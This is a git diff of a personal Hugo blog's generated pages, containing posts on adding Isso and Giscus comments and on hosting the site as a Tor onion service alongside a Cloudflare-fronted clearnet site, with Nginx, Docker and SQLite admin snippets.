    +Folder names are lowercase (content/posts/, not content/Posts/).
    +The URL mirrors that: /posts/index.xml.

    +
  • +
  • +

    Giscus doesn’t create a discussion
    +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
    +Make sure Discussions is enabled and the Giscus app is installed for the repo.

    +
  • +
  • +

    Icon is comically large
    +Keep the CSS above; 16–20px usually looks right.

    +
  • +
+
+

7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

+
# Create the public comments repo (adjust names)
+gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
+
+# Enable Discussions for it
+gh repo edit yourname/blog-comments --enable-discussions
+

Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

+
+

Final config snapshot (condensed)

+
baseURL = "https://example.com/"
+theme = "PaperMod"
+
+[outputs]
+  home = ["HTML", "RSS", "JSON"]
+  section = ["HTML", "RSS"]
+  taxonomy = ["HTML", "RSS"]
+  term = ["HTML", "RSS"]
+
+[services.rss]
+  limit = -1
+
+[params]
+  comments = true
+  ShowRssButtonInSectionTermList = true
+  ShowFullTextinRSS = true
+
+# Optional if using Home-Info/Profile mode:
+# [[params.socialIcons]]
+#   name = "rss"
+#   url  = "/index.xml"
+

+

Appendix — Why I added Isso, how I wired it, and what I fixed

+

The story (why Isso + why I still keep Giscus)

+

I wanted comments that:

+
    +
  • allow anonymous replies (no GitHub account required),
  • +
  • are lightweight and self-hosted, and
  • +
  • can work on my Tor .onion mirror.
  • +
+

Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

+

Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

+

How I run it (high-level)

+
    +
  • Site: Hugo + PaperMod
  • +
  • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
  • +
  • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
  • +
  • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
  • +
+
+

I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

+

Hugo partial: switcher + embeds

+

Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

+
<!-- comments.html -->
+<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
+  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
+  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
+  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
+</div>
+
+<!-- Isso panel (default) -->
+<div id="panel-isso">
+  <section id="isso-thread"></section>
+  <script
+    src="/isso/js/embed.min.js"
+    data-isso="/isso"
+    data-isso-css="true"
+    data-isso-lang="en"
+    data-isso-max-comments-nested="5"
+    data-isso-sorting="newest"
+    async>
+  </script>
+  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
+    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
+  </small>
+</div>
+
+<!-- Giscus panel (lazy-loaded on click) -->
+<div id="panel-giscus" style="display:none">
+  <section id="giscus-thread"></section>
+</div>
+
+<script>
+(function () {
+  const panelIsso = document.getElementById('panel-isso');
+  const panelGisc = document.getElementById('panel-giscus');
+  const issoBtn = document.getElementById('btn-isso');
+  const giscBtn = document.getElementById('btn-giscus');
+  let gLoaded = false;
+
+  function isDark() {
+    // 1) explicit PaperMod preference
+    const pref = localStorage.getItem('pref-theme');
+    if (pref === 'dark')  return true;
+    if (pref === 'light') return false;
+
+    // 2) page state (classes / data-theme)
+    const H = document.documentElement, B = document.body;
+    const hasDark =
+      H.classList.contains('dark') || B.classList.contains('dark') ||
+      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
+      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
+    if (hasDark) return true;
+
+    // 3) OS preference
+    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
+  }
+  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
+
+  function loadGiscus() {
+    if (gLoaded) return;
+    const s = document.createElement('script');
+    s.src = 'https://giscus.app/client.js';
+    s.async = true;
+    s.crossOrigin = 'anonymous';
+    s.setAttribute('data-repo','AlipourIm/blog-comments');
+    s.setAttribute('data-repo-id','R_kgDOQGARyA');
+    s.setAttribute('data-category','Comments');
+    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
+    s.setAttribute('data-mapping','pathname');
+    s.setAttribute('data-strict','0');
+    s.setAttribute('data-reactions-enabled','1');
+    s.setAttribute('data-emit-metadata','0');
+    s.setAttribute('data-input-position','bottom');
+    s.setAttribute('data-lang','en');
+    s.setAttribute('data-theme', gTheme());  // initial theme
+    document.getElementById('giscus-thread').appendChild(s);
+
+    // Retheme once iframe exists
+    const reTheme = () => {
+      const iframe = document.querySelector('iframe.giscus-frame');
+      if (!iframe) return;
+      iframe.contentWindow?.postMessage(
+        { giscus: { setConfig: { theme: gTheme() } } },
+        'https://giscus.app'
+      );
+    };
+
+    // PaperMod toggle button
+    document.getElementById('theme-toggle')?.addEventListener('click', () =>
+      setTimeout(reTheme, 0)
+    );
+
+    // Also react to attribute changes
+    const mo = new MutationObserver(reTheme);
+    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
+    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
+
+    gLoaded = true;
+  }
+
+  function show(which) {
+    const showIsso = which === 'isso';
+    panelIsso.style.display = showIsso ? 'block' : 'none';
+    panelGisc.style.display = showIsso ? 'none'  : 'block';
+    issoBtn?.setAttribute('aria-pressed', showIsso);
+    giscBtn?.setAttribute('aria-pressed', !showIsso);
+    if (!showIsso) loadGiscus();
+  }
+
+  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
+  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
+
+  // default
+  show('isso');
+})();
+</script>
+

Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

+

The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

+

Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

+
# /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
+server {
+    listen 127.0.0.1:3301 default_server;
+    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
+
+    add_header Referrer-Policy no-referrer always;
+    add_header X-Content-Type-Options nosniff always;
+    add_header X-Frame-Options SAMEORIGIN always;
+
+    root /srv/hugo/mysite/public-onion;
+    index index.html;
+
+    location / { try_files $uri $uri/ /index.html; }
+
+    # /isso -> /isso/
+    location = /isso { return 301 /isso/; }
+
+    # IMPORTANT: this must beat regex locations below
+    location ^~ /isso/ {
+        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-Host $host;
+        proxy_set_header X-Forwarded-Proto $scheme;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_redirect off;
+        proxy_read_timeout 60s;
+    }
+
+    # static
+    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
+        access_log off;
+        add_header Cache-Control "public, max-age=31536000, immutable";
+        try_files $uri =404;
+    }
+}
+

Reload and smoke test:

+
sudo nginx -t && sudo systemctl reload nginx
+curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
+
+

If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

+

Small CSS tweaks (one color across light/dark + spacing)

+

I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

+
/* put this in your site CSS */
+:root { --btn-blue: #2563eb; } /* adjust to taste */
+
+/* Isso form buttons */
+.isso-post-action input[type="submit"],
+.isso-post-action input[name="preview"] {
+  background: var(--btn-blue) !important;
+  color: #fff !important;
+  border: none;
+  padding: .5rem .75rem;
+  border-radius: .4rem;
+  cursor: pointer;
+}
+
+/* link actions under comments */
+.isso-comment-footer a {
+  color: var(--btn-blue) !important;
+  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
+  text-decoration: none;
+}
+.isso-comment-footer a:hover { text-decoration: underline; }
+
+/* keep name/email/website stacked, slightly larger */
+.isso-auth-section .isso-input-wrapper {
+  display: block;
+  margin: .35rem 0;
+}
+.isso-auth-section label { font-size: .95rem; }
+.isso-auth-section input[type="text"],
+.isso-auth-section input[type="email"],
+.isso-auth-section input[type="url"] {
+  width: 100%;
+  font-size: 1rem;
+  padding: .5rem .6rem;
+}
+

What changed (the fixes I actually made)

+
    +
  1. +

    Theme correctness for Giscus.
    +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

    +
      +
    • read localStorage.pref-theme first,
    • +
    • fall back to class/data-theme, then
    • +
    • fall back to OS preference.
      +I also re-theme the Giscus iframe on every toggle via postMessage.
    • +
    +
  2. +
  3. +

    Isso over Tor.
    +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

    +
  4. +
  5. +

    UI polish.

    +
      +
    • Unified button/link color across themes,
    • +
    • ensured “edit”/“delete” aren’t touching,
    • +
    • kept the author/email/website inputs stacked, and
    • +
    • left Submit/Preview styled and grouped.
    • +
    +
  6. +
+

Sanity check

+
    +
  • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
  • +
  • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
  • +
  • Switcher buttons swap panels instantly; Giscus only loads when clicked.
  • +
+

8) Final notes!

+

I could not fully fix the style of Isso. +CSS is not easy… drat!

+

I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

+

Admin note — Delete all Isso comments for a single post

+

This note is for future me: how to remove every comment tied to one post in Isso.
+Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

+
+

TL;DR (host with SQLite)

+
+

Replace the placeholders for DB and POST_URI first.

+
# 0) Variables — edit these two lines for your setup
+DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
+POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
+
+# 1) Backup (always do this!)
+sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+
+# 2) Inspect: find the thread row and preview the comments
+sqlite3 "$DB" "
+.headers on
+.mode column
+SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
+SELECT id, tid, created, author, text
+FROM comments
+WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
+ORDER BY created DESC
+LIMIT 25;
+"
+
+# 3) Delete all comments for that post (thread)
+sqlite3 "$DB" "
+DELETE FROM comments
+WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
+"
+
+# 4) (Optional) Remove the now-empty thread row too
+sqlite3 "$DB" "
+DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
+VACUUM;
+"
+
+# 5) Done. Isso usually picks this up automatically.
+#    If you're containerized and want to be safe:
+# docker restart <isso_container_name>
+

+

If running Isso in Docker

+

Open a shell in the container, then run the same steps:

+
docker exec -it <isso_container_name> /bin/sh
+
+# Inside the container:
+DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
+POST_URI="/posts/skin_routine/"
+
+sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
+sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
+sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
+exit
+
+# Optionally restart the container:
+docker restart <isso_container_name>
+

+

Notes & gotchas

+
    +
  • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
    [general]
    +dbpath = /var/lib/isso/comments.db
    +
  • +
  • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
    sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
    +
  • +
  • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
  • +
  • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
  • +
  • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
  • +
  • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
  • +
+
+

One-liners for the impatient

+
DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
+sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
+sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
+

+

Isso container: quick checks & fixes for future me! (thank past me later ^^)

+

Find the container

+
docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
+

Inspect basic state

+
docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
+

Logs

+
docker logs --tail=200 isso
+docker logs -f isso
+

Ports & reachability

+
docker port isso
+sudo ss -ltnp | grep ':8080 '
+curl -i http://127.0.0.1:8080/
+

Restart policy (keep it running)

+
docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
+docker update --restart unless-stopped isso
+

Start/stop the container

+
docker start isso
+docker stop isso
+

Who/what stopped it (events)

+
docker events --since 24h --filter container=isso
+

Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

+
nl -ba /config/isso.cfg | sed -n '1,120p'
+grep -n '^\[server\]' /config/isso.cfg
+grep -n '^public-endpoint' /config/isso.cfg
+

Using Docker Compose (run these in the directory with your compose file)

+
docker compose ps
+docker compose logs --tail=200 isso
+docker compose up -d isso
+

If the container doesn’t exist (create/recreate)

+
docker image ls | grep -i isso
+
+docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
+

Optional: exclude from auto-updaters (like Watchtower)

+
docker update --label-add com.centurylinklabs.watchtower.enable=false isso
+

This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
+jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
+A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
+dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
+Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
+EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
+W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
+eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
+Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
+KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
+qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
+GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
+=9k+S
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
+curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
+gpg --verify new_features.md.asc new_features.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/meta/page/1/index.html b/public-clearnet/categories/meta/page/1/index.html new file mode 100644 index 0000000..ec30f1c --- /dev/null +++ b/public-clearnet/categories/meta/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/meta/ + \ No newline at end of file diff --git a/public-clearnet/categories/notes/index.html b/public-clearnet/categories/notes/index.html new file mode 100644 index 0000000..937ee57 --- /dev/null +++ b/public-clearnet/categories/notes/index.html @@ -0,0 +1,15 @@ +Notes | AlipourIm journeys +

Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

September 19, 2025 · 6 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/notes/index.xml b/public-clearnet/categories/notes/index.xml new file mode 100644 index 0000000..8115a1b --- /dev/null +++ b/public-clearnet/categories/notes/index.xml @@ -0,0 +1,230 @@ +Notes on AlipourIm journeyshttps://blog.alipour.eu/categories/notes/Recent content in Notes on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

TL;DR — The site is built once (Hugo project), published twice:

+
    +
  • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
  • +
  • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
  • +
+
+

1) Tor hidden service (onion) basics

+

I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

+

Install & configure Tor (Debian/Ubuntu):

+
sudo apt update && sudo apt install -y tor
+sudoedit /etc/tor/torrc
+

Add:

+
HiddenServiceDir /var/lib/tor/hidden_site/
+HiddenServicePort 80 127.0.0.1:3301
+

Make sure the directory is owned by Tor’s user and private:

+
sudo mkdir -p /var/lib/tor/hidden_site
+sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
+sudo chmod 700 /var/lib/tor/hidden_site
+

Important: use the right systemd unit:

+
# validate as the Tor user
+sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
+
+# (re)start the real service
+sudo systemctl enable --now tor@default
+sudo systemctl restart tor@default
+

Get the onion address:

+
sudo cat /var/lib/tor/hidden_site/hostname
+

Quick check (do remote DNS via SOCKS):

+
curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
+

+

2) Nginx for the onion (localhost-only)

+

I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

+

/etc/nginx/sites-available/onion-blog:

+
server {
+    listen 127.0.0.1:3301 default_server;
+    server_name <your-56-char>.onion 127.0.0.1 localhost;
+
+    # keep onion simple; no HSTS/redirects here
+    add_header Referrer-Policy no-referrer always;
+    add_header X-Content-Type-Options nosniff always;
+    add_header X-Frame-Options SAMEORIGIN always;
+    # (optional) strict CSP so nothing leaks to clearnet
+    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
+
+    root /srv/hugo/mysite/public-onion;
+    index index.html;
+
+    location / { try_files $uri $uri/ /index.html; }
+    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
+        access_log off;
+        add_header Cache-Control "public, max-age=31536000, immutable";
+        try_files $uri =404;
+    }
+}
+

Enable/reload:

+
sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
+sudo nginx -t && sudo systemctl reload nginx
+
+

Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

+
+

3) Hugo + PaperMod setup (and version bumps)

+

PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

+
# install Hugo extended (example)
+VER=0.146.0
+cd /tmp
+wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
+tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
+sudo mv hugo /usr/local/bin/hugo
+hugo version  # should say "extended" and >= 0.146.0
+

Create the site and theme:

+
sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
+cd /srv/hugo
+hugo new site mysite
+cd mysite
+git init
+git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
+

Config updates: in newer Hugo, paginate is deprecated → use:

+
# config/_default/hugo.toml
+title = "My Blog"
+theme = "PaperMod"
+enableRobotsTXT = true
+
+[pagination]
+  pagerSize = 10
+
+[params]
+  defaultTheme = "auto"
+  showReadingTime = true
+  showPostNavLinks = true
+  showBreadCrumbs = true
+  showCodeCopyButtons = true
+

I added per-environment overrides so I can build two outputs with different baseURLs:

+
# config/clearnet/hugo.toml
+baseURL = "https://blog.alipourimjourneys.ir/"
+
+# config/onion/hugo.toml
+baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
+

+

4) Dual builds (clearnet + onion) and one-command deploy

+

I publish the same content twice—once for each base URL and docroot:

+
cd /srv/hugo/mysite
+# clearnet build (served over HTTPS)
+hugo --minify --environment clearnet -d public-clearnet
+# onion build (served via Tor)
+hugo --minify --environment onion    -d public-onion
+sudo systemctl reload nginx
+

Helper script I use:

+
sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
+#!/usr/bin/env bash
+set -euo pipefail
+cd /srv/hugo/mysite
+hugo --minify --environment clearnet -d public-clearnet
+hugo --minify --environment onion    -d public-onion
+sudo systemctl reload nginx
+echo "Deployed both at $(date)"
+EOF
+sudo chmod +x /usr/local/bin/build-both
+

While editing, I sometimes auto-rebuild on file save:

+
sudo apt install -y entr
+cd /srv/hugo/mysite
+find content layouts assets static config -type f | entr -r build-both
+

+

5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

+

Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

+
sudo snap install --classic certbot
+sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
+

Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

+
/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
+/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
+

Clearnet Nginx vhosts:

+
# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
+server {
+  listen 80; listen [::]:80;
+  server_name blog.alipourimjourneys.ir;
+  return 301 https://blog.alipourimjourneys.ir$request_uri;
+}
+
+# HTTPS origin (behind Cloudflare)
+server {
+  listen 443 ssl http2; listen [::]:443 ssl http2;
+  server_name blog.alipourimjourneys.ir;
+
+  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
+  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
+
+  # HSTS on clearnet only
+  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
+
+  # Help Tor Browser discover the onion mirror (safe on clearnet)
+  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
+
+  root /srv/hugo/mysite/public-clearnet;
+  index index.html;
+
+  location / { try_files $uri $uri/ /index.html; }
+}
+
+

Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

+
+

6) Troubleshooting I ran into (and fixes)

+
    +
  • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
  • +
  • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
  • +
  • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
  • +
  • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
    +
  • +
  • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
  • +
  • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
  • +
  • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
  • +
  • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
  • +
+
+

7) “Not secure” in Tor Browser?

+

That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

+
+

8) Day-to-day workflow

+
    +
  • Create content: +
    hugo new posts/my-first-post.md  # then set draft: false
    +
  • +
  • Publish both: +
    build-both
    +
  • +
  • (Optional) Auto on save: +
    find content layouts assets static config -type f | entr -r build-both
    +
  • +
  • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
  • +
+
+

Final notes

+
    +
  • Clearnet gets HTTPS + HSTS and an Onion-Location header.
  • +
  • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
  • +
  • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
  • +
+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
+jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
+DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
+6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
+UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
+FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
+slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
+TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
+VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
+OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
+N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
+700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
+=QlNw
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
